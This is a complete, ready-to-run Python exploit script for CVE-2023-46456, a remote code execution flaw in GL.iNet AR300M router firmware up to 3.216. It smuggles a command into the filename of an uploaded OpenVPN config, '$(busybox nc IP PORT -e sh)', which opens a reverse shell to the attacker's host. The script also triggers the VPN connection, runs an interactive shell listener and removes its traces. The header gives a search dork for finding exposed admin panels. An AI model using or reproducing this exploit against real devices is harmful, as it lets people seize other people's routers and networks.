GL.iNet AR300M v3.216 Remote Code Execution - CVE-2023-46456

#!/usr/bin/env python3

# Exploit Title: GL.iNet <= 3.216 Remote Code Execution via OpenVPN Client
# Google Dork: intitle:"GL.iNet Admin Panel"
# Date: XX/11/2023
# Exploit Author: Michele 'cyberaz0r' Di Bonaventura
# Vendor Homepage: https://www.gli-net.com
# Software Link: https://fw.gl-inet.com/firmware/ar300m/nand/v1/openwrt-ar300m-3.216-0321-1679391449.tar
# Version: 3.216
# Tested on: GL.iNet AR300M
# CVE: CVE-2023-46456

import socket
import requests
import readline
from time import sleep
from random import randint
from sys import stdout, argv
from threading import Thread

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

def generate_random_string():
    return ''.join([chr(randint(97, 122)) for x in range(6)])

def add_config_file(url, auth_token, payload):
    data = {'file': ('{}'.format(payload), 'client\ndev tun\nproto udp\nremote 127.0.0.1 1194\nscript-security 2')}
    try:
        r = requests.post(url, files=data, headers={'Authorization':auth_token}, verify=False)
        r.raise_for_status()
    except requests.exceptions.RequestException:
        print('[X] Error while adding configuration file')
        return False
    return True

def verify_config_file(url, auth_token, payload):
    try:
        r = requests.get(url, headers={'Authorization':auth_token}, verify=False)
        r.raise_for_status()
        if not r.json()['passed'] and payload not in r.json()['passed']:
            return False
    except requests.exceptions.RequestException:
        print('[X] Error while verifying the upload of configuration file')
        return False
    return True

def add_client(url, auth_token):
    postdata = {'description':'RCE_client_{}'.format(generate_random_string())}
    try:
        r = requests.post(url, data=postdata, headers={'Authorization':auth_token}, verify=False)
        r.raise_for_status()
    except requests.exceptions.RequestException:
        print('[X] Error while adding OpenVPN client')
        return False
    return True

def get_client_id(url, auth_token, payload):
    try:
        r = requests.get(url, headers={'Authorization':auth_token}, verify=False)
        r.raise_for_status()
        for conn in r.json()['clients']:
            if conn['defaultserver'] == payload:
                return conn['id']
        print('[X] Error: could not find client ID')
        return False
    except requests.exceptions.RequestException:
        print('[X] Error while retrieving added OpenVPN client ID')
    return False

def connect_vpn(url, auth_token, client_id):
    sleep(0.25)
    postdata = {'ovpnclientid':client_id, 'enableovpn':'true', 'force_client':'false'}
    r = requests.post(url, data=postdata, headers={'Authorization':auth_token}, verify=False)

def cleanup(url, auth_token, client_id):
    try:
        r = requests.post(url, data={'clientid':client_id}, headers={'Authorization':auth_token}, verify=False)
        r.raise_for_status()
    except requests.exceptions.RequestException:
        print('[X] Error while cleaning up OpenVPN client')
        return False
    return True

def get_command_response(s):
    res = ''
    while True:
        try:
            resp = s.recv(1).decode('utf-8')
            res += resp
        except UnicodeDecodeError:
            pass
        except socket.timeout:
            break
    return res

def revshell_listen(revshell_ip, revshell_port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(5)

    try:
        s.bind((revshell_ip, int(revshell_port)))
        s.listen(1)
    except Exception as e:
        print('[X] Exception "{}" encountered while binding reverse shell'.format(type(e).__name__))
        exit(1)

    try:
        clsock, claddr = s.accept()
        clsock.settimeout(2)
        if clsock:
            print('[+] Incoming reverse shell connection from {}:{}, enjoy ;)'.format(claddr[0], claddr[1]))
            res = ''
            while True:
                command = input('$ ')
                clsock.sendall('{}\n'.format(command).encode('utf-8'))
                stdout.write(get_command_response(clsock))

    except socket.timeout:
        print('[-] No connection received in 5 seconds, probably server is not vulnerable...')
        s.close()

    except KeyboardInterrupt:
        print('\n[*] Closing connection')
        try:
            clsock.close()
        except socket.error:
            pass
        except NameError:
            pass
        s.close()

def main(base_url, auth_token, revshell_ip, revshell_port):
    print('[+] Started GL.iNet <= 3.216 OpenVPN client config filename RCE exploit')

    payload = '$(busybox nc {} {} -e sh).ovpn'.format(revshell_ip, revshell_port)
    print('[+] Filename payload: "{}"'.format(payload))

    print('[*] Uploading crafted OpenVPN config file')
    if not add_config_file(base_url+'/api/ovpn/client/upload', auth_token, payload):
        exit(1)

    if not verify_config_file(base_url+'/cgi-bin/api/ovpn/client/uploadcheck', auth_token, payload):
        exit(1)
    print('[+] File uploaded successfully')

    print('[*] Adding OpenVPN client')
    if not add_client(base_url+'/cgi-bin/api/ovpn/client/addnew', auth_token):
        exit(1)

    client_id = get_client_id(base_url+'/cgi-bin/api/ovpn/client/list', auth_token, payload)
    if not client_id:
        exit(1)
    print('[+] Client ID: ' + client_id)

    print('[*] Triggering connection to created OpenVPN client')
    Thread(target=connect_vpn, args=(base_url+'/cgi-bin/api/ovpn/client/set', auth_token, client_id)).start()

    print('[*] Starting reverse shell on {}:{}'.format(revshell_ip, revshell_port))
    revshell_listen(revshell_ip, revshell_port)

    print('[*] Clean-up by removing OpenVPN connection')
    if not cleanup(base_url+'/cgi-bin/api/ovpn/client/remove', auth_token, client_id):
        exit(1)

    print('[+] Done')

if __name__ == '__main__':
    if len(argv) < 5:
        print('Usage: {} <TARGET_URL> <AUTH_TOKEN> <REVSHELL_IP> <REVSHELL_PORT>'.format(argv[0]))
        exit(1)

    main(argv[1], argv[2], argv[3], argv[4])